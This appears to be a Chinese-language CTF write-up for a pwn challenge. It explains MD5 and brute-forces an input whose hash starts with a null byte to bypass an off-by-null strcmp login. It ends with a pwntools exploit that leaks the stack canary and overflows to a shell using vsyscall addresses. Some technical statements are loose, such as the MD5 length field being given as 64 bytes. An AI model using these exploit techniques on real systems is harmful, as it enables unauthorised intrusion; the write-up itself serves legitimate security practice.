RELRO半开。
进来以后首先需要登录。
用户名是admin,但密码不知道。
给了一个逆向,经过研究是md5.
为啥会是md5?
首先我们看一下md5是个啥算法。
首先要知道无论输入多长,输出的md5值一定是16字节。
还要知道md5有个叫标准幻数,也叫特征数的东西。
它是16字节,用16进制表示的话是0123456789abcdeffedcba9876543210.
一般我们的程序里面常见的是int类型数据,因为是小端序,一般我们在程序中看见的就会是
0x67452301 0xefcdab89 0x98bacdfe 0x10325476.
那么大概会进行一些什么操作呢。
首先会补位,补成512位的整数倍加448位,规则是先加一个1,剩下都是0.
这个补位一定会做,哪怕本身它就是512位的整数倍加448位。
然后再加上64字节的长度。最后变成一个512的整数倍。
512位是64个字节。
我们每一个64字节是一个小组,然后将每个小组的64字节拆开成16个四字节备用。
然后呢定义了四个函数,函数是固定的,他有七个输入。分别是四个幻术,一个四字节,两个常数。
然后分别对每个函数带入不同的4字节,分别计算,最后得到16字节的输出。
这个16字节的输出会被当成新的幻数,继续下一轮的512字节。
然后最后的输出16字节就是我们得到的md5的值。
然后呢对于这道题我们怎么做,我们首先会看到这个东西。
那么看到这里已经基本上是九成确定是一个md5,但是不排除它可能会在md5外面进行一些嵌套。
它不会在md5里面进行一些乱七八糟算法的修改,那太傻逼了,成熟的算法不能乱动的。只能做嵌套。
我们验证他是不是的手段就是进行动调。输入一次,然后动调得到最终结果,跑到网站上试一下,最后的结果是发现一样的,所以我们确定这是一个md5.
回到这个题目,md5然后呢,我们是不可能得到这道题目的正解的,因为md5是不可逆的。
而且,你会发现我们md5得到的是16个字节,但是它的那个最后进行比较的值,显然要多得多,并不是16个字节。
正解就不大可能了。
问题出在这个地方。
这里显然会有一个off by null。把啥变成了null,把s2,也就是我们最后密码md5出来的值第一个字节变成了null。
那我们如果想绕过这个strcmp,我们只要保证我们的输入经过md5之后,第一个字节是’\x00’就可以了。
那么咋整,我们只能去爆破。
import hashlib
import string
import itertools
target_c = '00'
for i in range(8):
print(i)
for mes in itertools.product(string.ascii_letters, repeat=i):
if hashlib.md5((''.join(mes)).encode()).hexdigest().startswith(target_c):
print(''.join(mes))
exit()
他利用的是爆破可显示字符看哪个的md5第一位是00.
用了product函数。
爆破出来是gB。
进来之后是两个功能,一个leak,一个overflow。
因为开了canary,所以我们只要先把canary最后一个字节的’\x00’写掉,然后泄露一下就好了。
之后就是overflow一套带走。
要注意开了PIE,所以我们只能利用ret2vdso,在栈上找一个比较合适的地址,通过partail write,来getshell。
from pwn import*
context.log_level = "debug"
r = remote("node4.buuoj.cn", "26568")
r.sendafter("please input username: ", "admin")
r.sendafter("please input password: ", "gB" + '\x00' * 0x1e)
backdoor = 0x4007d6
vsyscall = 0xffffffffff600000
r.sendlineafter("3.exit\n", "2")
r.sendafter("your input:", "a" * 0x18 + 'b')
r.sendlineafter("3.exit\n", "1")
r.recvuntil('b')
canary = u64(r.recv(7).rjust(8,'\x00'))
r.sendlineafter("3.exit\n", "2")
payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(vsyscall) * 4 + '\x9f'
r.sendafter("your input:", payload)
r.sendlineafter("3.exit\n", "3")
r.interactive()